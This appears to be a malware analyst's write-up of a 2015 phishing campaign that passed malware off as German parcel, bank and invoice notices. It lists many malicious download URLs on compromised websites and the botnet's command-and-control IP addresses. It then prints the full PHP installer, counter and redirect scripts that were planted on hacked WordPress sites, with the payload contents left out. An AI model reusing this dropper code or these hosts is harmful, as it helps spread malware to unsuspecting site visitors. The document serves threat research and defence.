http://www.apnoestore.de/1VBzc7EXo/ups_kontrollnummer_5D27N0937615344790.zip http://www.baysideskillet.com/DEZTPm3v/ups_kontrollnummer_5D27N0937615344790.zip http://www.bfb112.dk/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://www.bohemianexperience.com/Rechnung_2015_02 http://www.boldstep.co.za http://www.boxmakingdubai.com/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://www.cdaipu.com/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://www.cdomotor.cl/wp-content/uploads/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://www.chguenther.com/nPW6vBh7g/ups_kontrollnummer_5D27N0937615344790.zip http://www.chinabxc.com/dhl_paket_de http://www.cirandirio.com.br/amazon/Amazon_Bestellnummer_303_03866281_7290283.zip http://www.click5dev3.com/cn6uAIXS0V/UPS_Service_Express_Nummer_003483838745.zip http://www.colorflys.com/aBz0I2Oe37/Dhl___Sendungsverfolgung___0038478_993489_000022.zip http://www.communautejuivedecreteil.fr/iCe0VLqTZ/Status_Kontostand_03_2015.zip http://www.confeitarialancaster.com.br/wp-content/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://www.coredoes.com/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://www.coreywolfe.com/BUdSARZ9271/ups_kontrollnummer_5D27N0937615344790.zip http://www.cosia.mx/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://www.crowdfundingformybusiness.com/oPO5XY43ztAE/ups_kontrollnummer_5D27N0937615344790.zip http://www.csokit.hu/ups_webtracking http://www.cyber-euro.de/4xMvtCiw/Dhl_Status___584934__0102931_0047.zip http://www.dailynaukriupdate.com/volksbank/Informationen_Kontobewegung_februar_2015.zip http://www.daotongdao.com/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://www.dawnmoney.com/acGuyMYQ8izh/DHL_Sendungsverfolgung_DE_de_0404950054958373.zip http://www.deckerslaswerken.be/wp-content/plugins/responsive-photo-gallery/UWHpXDr7Bm/Voice_754310340394939.zip http://www.denizlikirtasiye.com/volksbank/Informationen_Kontobewegung_februar_2015.zip http://www.dhphk.com/wp-content/uploads/C0ZHY1Wn2P4L/Dhl_Status_zu_Sendung_03808432561.zip http://www.disquecarpet.com/ups_webtracking/ups_webtracking_1S63A0003659818362.zip http://www.divenh.com/dhl_paket/dhl_paket_003404019826251348371.zip http://www.diversity.se/ups/ups_1S63A0003659818362.zip http://www.diversity.se/volksbank http://www.djshyam.com/volksbank http://www.docevidastore.com.br/sf7YmnWB/Dhl_Status___039478__02390654_007.zip http://www.dokkabilpleie.no/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://www.domyelzbiety25.pl/FEO1gadI9/ups_kontrollnummer_5D27N0937615344790.zip http://www.doublehousefarm.co.uk/volksbank/Informationen_Kontobewegung_februar_2015.zip http://www.dreamdatings.com/volksbank http://www.drinkthewater.org/michelle/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://www.easyprepa.fr/rechnungfebruar2015/rechnungfebruar2015.zip http://www.eberlygroup.com/volksbank/Informationen_Kontobewegung_februar_2015.zip http://www.economistax.com/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://www.ecosolarenergy.net/volksbank/Informationen_Kontobewegung_februar_2015.zip http://www.ecotechwash.com.br/eJvbSB2AIy/Voice_754310340394939.zip http://www.edullevant.es/dhl_sendungsnummer http://www.elektrykas1.pl/Oi3tmbwpL/Dhl_Status_zu_Sendung_03808432561.zip http://www.elektrykas1.pl/wvGzrW28uM/ups_kontrollnummer_5D27N0937615344790.zip http://www.eng4you.lnw.mn/wp-content/uploads/dhl_paket_de http://www.equipoalma.com/volksbank http://www.er2i.eu/dhl_paket_de http://www.estaclinic.com/YtQGWpdlL/DHL_Sendungsverfolgung_DE_0024000035548028.zip http://www.estaclinic.com/YtQGWpdlL/Dhl_Aktueller_Status_03_2015.zip http://www.event.its.me/aj9Duo4A/Dhl_Status___039478__02390654_007.zip http://www.farinacerchi.it/dhl_nextt_online_public/ZustellinfoDHL_Mitteilungen_8445438742.zip http://www.fastonlinemoneycoach.com/dhl_paket/dhl_paket_003404019826251348371.zip http://www.felislynx.com/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://www.flamebackmedia.com/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://www.flexjobstudent.nl/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://www.formanomed.com.br/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://www.freewaymusic.com/whS3yvKiF/Dhl___Sendungsverfolgung___0038478_993489_000022.zip http://www.friendly.com.pk/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://www.fundingforapps.com/dhl_nextt_online_public/ZustellinfoDHL_Mitteilungen_8445438742.zip http://www.fundingformystartup.com/dhl_paket/dhl_paket_003404019826251348371.zip http://www.fundingformystartup.com/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://www.gabinetsmakzdrowia.pl/IgN4tle85/Telekom_Festnetz_Rechnung_03_2015.zip http://www.gardenofhopewa.org/pQhAjlWCO/DHL_Sendungsverfolgung_DE_0024000035548028.zip http://www.gardenofhopewa.org/pQhAjlWCO/Dhl_Aktueller_Status_03_2015.zip http://www.getfrog.ca/2MJWIxyfw/Dhl_Status___039478__02390654_007.zip http://www.giorgiaangiuli.com/ups_webtracking/ups_webtracking_1S63A0003659818362.zip http://www.gloriabar.com.br/WQpa2hwmOj/Status_DHL_Sendungsverfolgung__29__04__2015.zip http://www.goodelectricinc.com/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://www.gotmedication.com/ups_webtracking/ups_webtracking_1S63A0003659818362.zip http://www.greennetse.com/ups_webtracking http://www.grenadejay.com/wp-content/uploads/i3TPjIQD/DHL_Sendungsverfolgung_DE_de_0404950054958373.zip http://www.griifa.com/ups_webtracking http://www.grnuevavida.org/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://www.harrismcclain.com/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://www.health100s.com/ups_webtracking http://www.hispanistas.org.br/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://www.holidayworld.co/ups_webtracking http://www.ibgbrazil.com/wp-content/ups_webtracking http://www.inatra.be/H1MWLbQ20rD/Dhl_Aktueller_Status___01_04_2015.zip http://www.innerdesign7.co.uk/X0zvoWTV/Dhl_Status___039478__02390654_007.zip http://www.insolvencyforte.com/dhl_paket/dhl_paket_003404019826251348371.zip http://www.integra-uk.net/2015FebruarRechnung/2015FebruarRechnung.zip http://www.jaggedhair.com.au/LGeRzUpWboT/Voice_754310340394939.zip http://www.jsrtoughts.com/NHryDoa7J/ups_kontrollnummer_5D27N0937615344790.zip http://www.jsrtoughts.com/dhl_nolp_de/dhl_paket_008476892048572654091.zip http://www.jsrtoughts.com/i2hc4aSoL/ups_sendungsdetails_03_2015.zip http://www.karriview.com.au/L3OYDNPVSa7q/Status_Kontostand_03_2015.zip http://www.kitchenlightingideas.net/ups_webtracking http://www.kokoblue.com/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://www.kolliniatis.gr/ups_webtracking http://www.kurokinagisa.jp/wp-content/uploads/ups_webtracking/ups_webtracking_1S63A0003659818362.zip http://www.landminesurvivorscambodia.org/RechnungFebruar2015/RechnungFebruar2015.zip http://www.landminesurvivorscambodia.org/dhl_paket/dhl_paket_003404019826251348371.zip http://www.lcgift.net/3zmpjiPG/DHL_Sendungsverfolgung_DE_0024000035548028.zip http://www.lequaidesarts30.com/6vAp7iVJCo/Dhl_Status_zu_Sendung_03808432561.zip http://www.lequaidesarts30.com/sCmzlDBNA/DHLKunden_439875450020573475048.zip http://www.lindebos.be/U1R5hb6J/VOICE318-222-1374.zip http://www.liulianduo.com/ups_webtracking/ups_webtracking_1S63A0003659818362.zip http://www.louland.com/wp-content/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://www.lysaght.com.my/wp-content/upgrade/ups_webtracking/ups_webtracking_1S63A0003659818362.zip http://www.mainetreasurechest.com/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://www.maltepe-notebook.com/dhl_paket/dhl_paket_003404019826251348371.zip http://www.maltepe-notebook.com/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://www.mantois.pg78.fr/sVanvAK7UiW/Dhl_Aktueller_Status_03_2015.zip http://www.marceluscosmeticos.com.br/ups_webtracking/ups_webtracking_1S63A0003659818362.zip http://www.mariadelia.com/dhl_paket_de_DE/dhl_paket_de_DE_26401756290104624513.zip http://www.marketfifty.com/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://www.marlonshouse.com/tD3qpYku6G/Status_Kontostand_03_2015.zip http://www.mcmc2u.com/ups_webtracking http://www.mediobag.cz/wp-content/themes/symplex/cache/hQ7ebEun/Informationen_Kontobewegung_03_2015.zip http://www.mehdisaeedi.com/jLqKrsnA4bx/DHL_Report_Zustellungsstatus__04__05__2015.zip http://www.melodybrass.cz/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://www.mentalhealthinsurance.ca/wp/Vy8uSKbiZ/VOICE009-0754-3103.zip http://www.metius.pl/F3X5qJ24Pcs/DHL_Sendungsverfolgung_DE_0024000035548028.zip http://www.mobileheadlines.net/gqXkySp7h/Dhl___Sendungsverfolgung___0038478_993489_000022.zip http://www.mochilashop.com.br/5qC2jY8HrPL/VOICE009-0754-3103.zip http://www.moroccan-trail.com/dhl_sendungsnummer/dhl_paket_sendungsnummer_00340433836295436788.zip http://www.moufflon.com.cy/dhl_sendungsnummer/dhl_paket_sendungsnummer_00340433836295436788.zip http://www.musicdirectoranupamdutta.com/dhl_nextt_online_public/ZustellinfoDHL_Mitteilungen_8445438742.zip http://www.musicjourneys.ca/2KepEl8/Status_DHL_Sendungsverfolgung__28__04__2015.zip http://www.natalhappy.com.br/gtCK0quEQ/VOICE009-0754-3103.zip http://www.nataliecofield.com/dhl_sendungsnummer/dhl_paket_sendungsnummer_00340433836295436788.zip http://www.negociostips.com/0bHPFC1DXv5/Status_Kontostand_03_2015.zip http://www.nhualaysangcomposite.com/ups_webtracking http://www.nitdsolutions.com/dhl_paket_de_DE/dhl_paket_de_DE_26401756290104624513.zip http://www.novisokkia.com/dhl_paket_de_DE/dhl_paket_de_DE_26401756290104624513.zip http://www.novisokkia.com/dhl_paket_de_pkp/DHLBenachrichtigung.zip http://www.oldboatyard.co.uk/dhl_nextt_online_public/ZustellinfoDHL_Mitteilungen_8445438742.zip http://www.omconsulting.ca/RiNdhApr/Dhl_Aktueller_Status___01_04_2015.zip http://www.omconsulting.ca/RiNdhApr/Dhl_Status___039478__02390654_007.zip http://www.pastamania.com.br/Lkiz92Abt/Dhl_Status___039478__02390654_007.zip http://www.peridotulips.ca/wp-content/uploads/pRT7IfUQ93YM/Dhl_Status___039478__02390654_007.zip http://www.rakunogakuen.org/Z3QIiNtO9/DHL_Sendungsverfolgung_DE_0024000035548028.zip http://www.realestateinvestmentinsider.com/eLQaS9X3n6/DHL_Sendungsverfolgung_DE_0024000035548028.zip http://www.realestateinvestmentinsider.com/eLQaS9X3n6/Dhl_Aktueller_Status_03_2015.zip http://www.relaxemlakotomotiv.com/dhl_paket_de_DE/dhl_paket_de_DE_26401756290104624513.zip http://www.reverseewaste.com.au/O7MEf9FPtn6/Voice_754310340394939.zip http://www.reverseewaste.com.au/jKgh3zkORdc1/DHL_Report_Zustellungsstatus__04__05__2015.zip http://www.reydelante.com/dhl_nextt_online_public/ZustellinfoDHL_Mitteilungen_8445438742.zip http://www.ritmicamagerit.com/dhl_paket_de_DE/dhl_paket_de_DE_26401756290104624513.zip http://www.ritmicamagerit.com/dhl_paket_de_pkp/DHLBenachrichtigung.zip http://www.runningrouteplanner.co.uk/dhl_paket_de_DE/dhl_paket_de_DE_26401756290104624513.zip http://www.runningrouteplanner.co.uk/dhl_paket_de_de/dhl_paket_de_de_26401756290104624513.zip http://www.sanayitipimakineler.com/volksbank_de http://www.savelbergth.com/wp-content/uploads/7BPridl4gJ/Dhl_Status___039478__02390654_007.zip http://www.savelbergth.com/wp-content/uploads/7BPridl4gJ/Dhl_Status___584934__0102931_0047.zip http://www.siri.com.br/DBXN1Frp6/VOICE009-0754-3103.zip http://www.sport.tm.pl/dhl_paket/dhl_paket_003404019826251348371.zip http://www.status-audit.zp.ua/ycdoYU6E/DHL_Sendungsverfolgung_DE_0024000035548028.zip http://www.statusgonow.com/OzRhnLJsKBl4/ups_kontrollnummer_5D27N0937615344790.zip http://www.steuertipps.de http://www.streamedin.com/HoiseYGbx/Dhl___Sendungsverfolgung___0038478_993489_000022.zip http://www.studio10salon.ca/iOANV6gphunR/Status_DHL_Sendungsverfolgung__29__04__2015.zip http://www.supershiq.nl/wp-content/themes/aurum/WAgHGszXxI9/DHL_Sendungsverfolgung_DE_0024000035548028.zip http://www.sweetadditions.net/dhl_paket http://www.szczoteczkacuraprox.pl/MvYfw14H7PV/Status_Kontostand_03_2015.zip http://www.teleengros.com/nolp_dhl_de/ZustellnachrichtDHL_bestellung_000029937728.zip http://www.tokobungadidepok.net/jMbDKIWkosLP/ups_kontrollnummer_5D27N0937615344790.zip http://www.torontoparkingticket.ca/3eizXwN6uxp/Dhl_Status___039478__02390654_007.zip http://www.treatyland.com/dhl_nextt_online_public/ZustellinfoDHL_Mitteilungen_8445438742.zip http://www.tritolostore.com/2015FebruarRechnung/2015FebruarRechnung.zip http://www.tritolostore.com/RechnungFebruar2015/RechnungFebruar2015.zip http://www.tritolostore.com/dhl_paket/dhl_paket_003404019826251348371.zip http://www.tsepakho.com/Telekom_RechnungFebruar2015 http://www.ugunsaizsardziba.lv/rechnung_2015_02/rechnung_2015_02.zip http://www.uhspa.org/dhl_nextt_online_public/ZustellinfoDHL_Mitteilungen_8445438742.zip http://www.umsdubai.com/LOp9UVa3zq/ups_kontrollnummer_5D27N0937615344790.zip http://www.uqidea.net/VwhNfAMl/ups_kontrollnummer_5D27N0937615344790.zip http://www.viajeroresponsable.com.ar/vtGjWb64/Voice_754310340394939.zip http://www.vidadecasal.com.br/LbGvT1XInV6m/ups_kontrollnummer_5D27N0937615344790.zip http://www.vidadecasal.com.br/dhl_nolp_de/dhl_paket_008476892048572654091.zip http://www.vidadecasal.com.br/nolp_dhl_de/ZustellnachrichtDHL_bestellung_000029937728.zip http://www.vidadecasal.com.br/wp-includes/VMTdUKO7l/Informationen_Kontobewegung_dezember_2014.zip http://www.visionactiv.com/PDbBpslh2/Dhl_Aktueller_Status_03_2015.zip http://www.vrpure.com/dhl_paket/dhl_paket_003404019826251348371.zip http://www.warszawska17.pl/YRyJnFhriP/ups_kontrollnummer_5D27N0937615344790.zip http://www.warszawska17.pl/dhl_nolp_de/dhl_paket_008476892048572654091.zip http://www.woocommerce.technowator.nazwa.pl/CZ6S971YQTqW/DHL_Sendungsverfolgung_DE_de_0404950054958373.zip http://www.worshipintruthministry.org/U5wCmXPk/ups_kontrollnummer_5D27N0937615344790.zip http://www.wstj.net.img.800cdn.com/dhl_nextt_online_public/ZustellinfoDHL_Mitteilungen_8445438742.zip http://www.wwi-magical-showcase.net/IbTEazwhnp/ups_kontrollnummer_5D27N0937615344790.zip http://www.xn----8sbpudphv0c.xn--p1ai/dhl_nextt_online_public/ZustellinfoDHL_Mitteilungen_8445438742.zip http://www.yeahbo.net/bHKXmiMI/ups_kontrollnummer_5D27N0937615344790.zip http://www.yeahbo.net/hbsmRY3DEzdN/Dhl_Status_zu_Sendung_03808432561.zip http://www.yenimynet.com/SR3FH6EGVr/ups_kontrollnummer_5D27N0937615344790.zip http://www.zaanzicht.net/WFhqEbD9/ups_kontrollnummer_5D27N0937615344790.zip http://www.zccindia.com/dhl_paket/dhl_paket_003404019826251348371.zip http://www.zeenarose.com/8Cr36HfZRiog/ups_kontrollnummer_5D27N0937615344790.zip http://www.zhanglei.me/NqRBClForfa/DHL_Sendungsverfolgung_DE_0024000035548028.zip http://www.zhanglei.me/zOSaZ51kK/Dhl_Status_zu_Sendung_03808432561.zip http://xetel.co.uk/F6CRYkSrvXM/Vodafone_de_Rechnung_03_2015.zip http://xulynuoctrungdieptin.com/YNdIpDsCbGZk/Dhl_Aktueller_Status_03_2015.zip http://yad-efraim.org/DyINhZ3/Status_DHL_Sendungsverfolgung__29__04__2015.zip http://yaglikanaltemizligi.com/dhl_paket/dhl_paket_003404019826251348371.zip http://yankees.baseball.pl/aEywRoxjz/Voice_754310340394939.zip http://yanqi.co/Telekom_RechnungFebruar2015 http://yatport.com/2015FebruarRechnung/2015FebruarRechnung.zip http://yatport.com/RechnungFebruar2015/RechnungFebruar2015.zip http://yatport.com/dhl_paket/dhl_paket_003404019826251348371.zip http://yce.edu.hk/dhl_paket http://yonseiwoori.kr/7djDi1IE/ups_kontrollnummer_5D27N0937615344790.zip http://yourpower.no/dhl_paket/dhl_paket_003404019826251348371.zip http://youthcitycouncil.org/rR8fu4vSqB/ups_kontrollnummer_5D27N0937615344790.zip http://yusufabdo.com/LCJpteZAy/Status_DHL_Sendungsverfolgung__29__04__2015.zip http://zamanozivar.com/dhl_paket/dhl_paket_003404019826251348371.zip http://zamoux.com/dhl_paket/dhl_paket_003404019826251348371.zip http://zbigniewboczek.pl/DLCkq0nvi9B/2015_03Details_zur_Transaktion_7895111.zip http://zbigniewboczek.pl/IUwWv9fMT/UPS_Service_standard_Nummer_032924923480.zip http://zccindia.com/dhl_paket/dhl_paket_003404019826251348371.zip http://zelarflex.com.br/JLkf6ce5Sn/DHL_Sendungsverfolgung_DE_0024000035548028.zip http://zineostudio.com/RechnungFebruar2015/RechnungFebruar2015.zip http://zineostudio.com/dhl_paket/dhl_paket_003404019826251348371.zip http://ziyaniclothing.com/dhl_paket/dhl_paket_003404019826251348371.zip http://zlotnictwopoznan.pl/lDvOzHKe2P/DHL_Sendungsverfolgung_DE_de_0404950054958373.zip http://zloty-rog.com.pl/XxmMzSGNQsL/Vodafone_de_Rechnung_03_2015.zip http://zoxperformance.com.au/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://zukunftbauen.eu/dhl_paket http://zupparestaurant.com/uG1pNt9UI/ups_kontrollnummer_5D27N0937615344790.zip http://zuzannamycon.pl/pR81DiXyTI/Status_DHL_Sendungsverfolgung__29__04__2015.zip List of C2 machines contacted by each malware sample differs based on the machine on which is being executed. There is different list of servers for WinXP 32bit and Win8 64bit and possibly some others as well. Possibly there could be also language or country settings taken into account.
Malware is trying to contact these C2 servers (not all of them working): 5.9.189.24:8080 8.247.6.134:8080 31.200.244.17:8080 37.48.73.35:8080 37.247.111.141:8080 42.62.40.103:8080 45.55.174.167:8080 46.214.107.142:8080 50.56.135.44:8080 64.207.134.54:8080 67.19.105.107:8080 67.23.31.252:8080 68.168.100.232:8080 68.169.52.10:8080 69.167.152.111:8080 69.167.183.235:8080 72.52.150.60:8080 74.207.247.144:8080 74.217.254.29:8080 78.129.133.249:8080 78.129.213.41:8080 82.193.38.115:8080 83.212.32.42:8080 88.208.192.116:8080 88.208.193.123:8080 88.208.228.111:8080 91.121.222.31:8080 91.194.151.38:8080 94.23.28.211:8080 94.23.192.208:8080 94.176.2.170:443 103.1.186.61:8080 103.16.26.36:8080 103.228.200.37:8080 103.228.200.47:8080 103.245.153.70:8080 104.28.17.67:8080 104.131.96.170:8080 104.131.148.38:8080 104.219.55.50:8080 104.236.43.216:8080 106.186.17.24:8080 106.187.103.213:8080 107.189.160.196:8080 112.124.3.15:8080 119.59.124.163:8080 121.50.46.81:8080 128.199.47.212:8080 128.199.79.103:8080 128.199.122.196:8080 128.199.155.32:8080 128.199.175.183:8080 128.199.214.100:8080 134.213.133.96:8080 142.4.18.239:8080 142.34.138.90:8080 158.255.238.18:8080 158.255.238.209:8080 162.42.207.58:8080 162.144.35.78:8080 162.144.45.246:8080 162.144.46.185:8080 162.144.47.146:8080 162.144.77.164:8080 162.144.80.214:8080 162.144.88.73:8080 162.144.121.43:8080 162.144.123.243:8080 162.217.248.6:8080 162.243.12.14:8080 167.216.129.13:8080 184.86.225.91:8080 184.106.3.194:8080 185.31.17.144:8080 185.46.55.88:8080 188.126.72.179:8080 188.226.166.43:8080 192.126.123.10:8080 192.163.204.172:8080 192.163.208.168:8080 192.163.239.60:8080 192.241.229.144:8080 195.219.57.34:8080 197.85.182.110:8080 198.1.106.3:8080 198.1.122.176:8080 198.23.78.98:8080 198.154.231.79:8080 200.75.7.92:8080 200.159.128.6:8080 200.159.128.11:8080 200.159.128.19:8080 200.159.128.132:8080 200.159.128.189:8080 202.44.54.3:8080 202.44.54.4:8080 202.143.148.163:8080 203.172.203.42:8080 208.69.59.61:8080 209.250.6.60:8080 212.48.85.224:8080 218.185.224.231:8080 223.223.218.37:8080 Botnet is putting to compromised vulnerable WordPress sites PHP installator which installs directories and files for the download of the malicious binary. Name of the installation script is numeric four digit name with extension ".php". The code seems to be deployed and executed in some automated manner. The installator script drops in once 3 directories, each of those including one zip-file. In my case all the zip-files included the same ".exe" malware sample.
This is how the code of the PHP installator would look like - for example 1234.php. For brevity I have ommited the actual Base64 of the binaries and its checksums - abbreaviated here as {Base64}:{MD5SUM} : <?php error_reporting(0); ini_set("display_errors", false); $uniqueId = "54f4546dabcde"; $files = array ( 'volksbank_de' => array ( 'config.php' => '{Base64}:{MD5SUM}', '2015_03_transaktions_pdf.zip' => '{Base64}:{MD5SUM}', 'index.php' => '{Base64}:{MD5SUM}', ), 'dhl_paket_de_DE' => array ( 'config.php' => '{Base64}:{MD5SUM}', 'dhl_paket_de_DE_25411856390204324415.zip' => '{Base64}:{MD5SUM}', 'index.php' => '{Base64}:{MD5SUM}', ), 'count.php' => '{Base64}:{MD5SUM}', 'ups' => array ( 'config.php' => '{Base64}:{MD5SUM}', 'ups_1S63A0004653814356.zip' => '{Base64}:{MD5SUM}', 'index.php' => '{Base64}:{MD5SUM}', ), ); $path = dirname($_SERVER['SCRIPT_FILENAME']) . '/test.test.test'; if (!touch($path)) { echo 'WFAIL'; } else { if (!unlink($path)) { echo 'DFAIL'; } else { if (version_compare(PHP_VERSION, '5') < 0) { echo 'PFAIL'; } else { $arrayIterator = new RecursiveArrayIterator($files); $it = new RecursiveIteratorIterator($arrayIterator); foreach ($it as $key => $value) { $p = ''; if (($depth = $it->getDepth()) != 0) { for ($i = $depth - 1; $i >= 0; $i--) { $p = '/' . $it->getSubIterator($i)->key() . $p; } } if (!(file_exists('.' . $p) && is_dir('.' . $p)) && !empty($p)) { if (!mkdir('.' . $p, 0777)) { $ufail = true; } } $value = explode(':', $value); if (isset($_GET['selftest']) || isset($_GET['selftestold'])) { if (!file_exists('.' . $p . '/' . $key)) { $ufail = true; } else { if (md5_file('.' . $p . '/' . $key) != $value[1]) { $ufail = false; } } } else { chmod('.' . $p . '/' . $key, 0644); if (file_put_contents('.' . $p . '/' . $key, base64_decode($value[0])) === false) { $ufail = true; } else { if (md5_file('.' . $p . '/' . $key) != $value[1]) { $ufail = false; } } } } if (isset($ufail)) { echo 'UFAIL'; } else { if (isset($_GET['selftestold'])) { echo 'OK'; } else { echo $uniqueId; } } } } } Sample - count.php : <?php error_reporting(0); $path = dirname($_SERVER['SCRIPT_FILENAME']) . '/'; $totals = array(); $files = array(); $dh = opendir($path); while (false !== ($filename = readdir($dh))) { if ($filename != '.' && $filename != '..') { if (pathinfo($filename, PATHINFO_EXTENSION) == 'txt' && strpos($filename, '.count.txt') !== false) { $files[] = $filename; } } } foreach ($files as $filename) { $fp = fopen($path . $filename, 'r+'); if (flock($fp, LOCK_EX)) { $length = filesize($path . $filename); $s = fread($fp, $length); $count = json_decode($s, true); if (isset($count['chrome'])) { $totals['data'][str_replace('.count.txt', '', $filename)] = $count; } fseek($fp, 0); ftruncate($fp, 0); flock($fp, LOCK_UN); } fclose($fp); } echo json_encode($totals); Sample /dhl_paket_de_DE/config.php: <?php $fileName = "dhl_paket_de_DE_25411856390204324415.zip"; $fileCount = "dhl_paket_de_DE.count.txt"; Sample /dhl_paket_de_DE/index.php: <?php error_reporting(0); class Browser { const BROWSER_OPERA = 'opera'; const BROWSER_IE = 'ie'; const BROWSER_FIREFOX = 'firefox'; const BROWSER_SAFARI = 'safari'; const BROWSER_CHROME = 'chrome'; const BROWSER_UNKNOWN = 'other'; private $_agent = ''; private $_browser_name = ''; public function Browser($userAgent = "") { $this->reset(); if ($userAgent != "") { $this->setUserAgent($userAgent); } else { $this->determine(); } } public function reset() { $this->_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ""; $this->_browser_name = self::BROWSER_UNKNOWN; } public function setUserAgent($agent_string) { $this->reset(); $this->_agent = $agent_string; $this->determine(); } protected function determine() { $this->checkBrowsers(); } protected function checkBrowsers() { return ( $this->checkBrowserInternetExplorer() || $this->checkBrowserOpera() || $this->checkBrowserFirefox() || $this->checkBrowserChrome() || $this->checkBrowserSafari() ); } protected function checkBrowserInternetExplorer() { if (stripos($this->_agent, 'microsoft internet explorer') !== false) { $this->setBrowser(self::BROWSER_IE); return true; } else { if (stripos($this->_agent, 'msie') !== false && stripos($this->_agent, 'opera') === false) { $this->setBrowser(self::BROWSER_IE); return true; } else { if (stripos($this->_agent, 'trident') !== false) { $this->setBrowser(self::BROWSER_IE); } else { if (stripos($this->_agent, 'mspie') !== false || stripos($this->_agent, 'pocket') !== false) { $this->setBrowser(self::BROWSER_UNKNOWN); return true; } } } } return false; } public function setBrowser($browser) { $this->_browser_name = $browser; } protected function checkBrowserOpera() { if (stripos($this->_agent, 'opera') !== false) { $this->setBrowser(self::BROWSER_OPERA); return true; } else { if (stripos($this->_agent, 'OPR') !== false) { $this->setBrowser(self::BROWSER_OPERA); return true; } } return false; } protected function checkBrowserFirefox() { if (preg_match("/Firefox[\/ \(]([^ ;\)]+)/i", $this->_agent, $matches)) { $this->setBrowser(self::BROWSER_FIREFOX); return true; } else { if (preg_match("/Firefox$/i", $this->_agent, $matches)) { $this->setBrowser(self::BROWSER_FIREFOX); return true; } } return false; } protected function checkBrowserChrome() { if (stripos($this->_agent, 'Chrome') !== false) { $this->setBrowser(self::BROWSER_CHROME); return true; } return false; } protected function checkBrowserSafari() { if (stripos($this->_agent, 'Safari') !== false && stripos($this->_agent, 'iPhone') === false && stripos($this->_agent, 'iPod') === false ) { $this->setBrowser(self::BROWSER_SAFARI); return true; } return false; } public function getBrowser() { return $this->_browser_name; } } if (isset($_GET['t'])) { echo 'ok'; } else { include dirname(__FILE__) . '/config.php'; if (isset($useGeo)) { include dirname(__FILE__) . '/../geo.php'; if (($gi = geoip_open(dirname(__FILE__) . '/../geo.dat')) !== false) { $country = geoip_country_code($gi, $_SERVER['REMOTE_ADDR']); if ( ($emptyGeo == false && empty($country)) || !in_array(strtoupper($country), $geoList) ) { header('HTTP/1.0 404 Not Found'); echo '404'; exit(); } geoip_close($gi); } } $wwwName = pathinfo($_SERVER['SCRIPT_NAME'], PATHINFO_DIRNAME) . '/' . $fileName; $fileCount = dirname(__FILE__) . '/../' . $fileCount; $length = filesize($fileCount); if (!file_exists($fileCount)) { touch($fileCount); } $count = array( 'opera' => 0, 'ie' => 0, 'firefox' => 0, 'safari' => 0, 'chrome' => 0, 'other' => 0 ); $browser = new Browser(); $id = $browser->getBrowser(); $count[$id] = 1; $fp = fopen($fileCount, 'r+'); if (flock($fp, LOCK_EX)) { $s = fread($fp, $length); $data = json_decode($s, true); foreach ($count as $browser => $sum) { if (isset($data[$browser])) { $count[$browser] += $data[$browser]; } } fseek($fp, 0); fwrite($fp, json_encode($count)); flock($fp, LOCK_UN); } fclose($fp); header('Location: ' . $wwwName); }

Once the malware is executed it stores itself persistent with a name that mimics the MS updates and injects internet explorer. This campaign was switching the internet explorer to offline mode requiring user input, in order to trick the AV sanboxes to not capture the malicious HTTP traffic.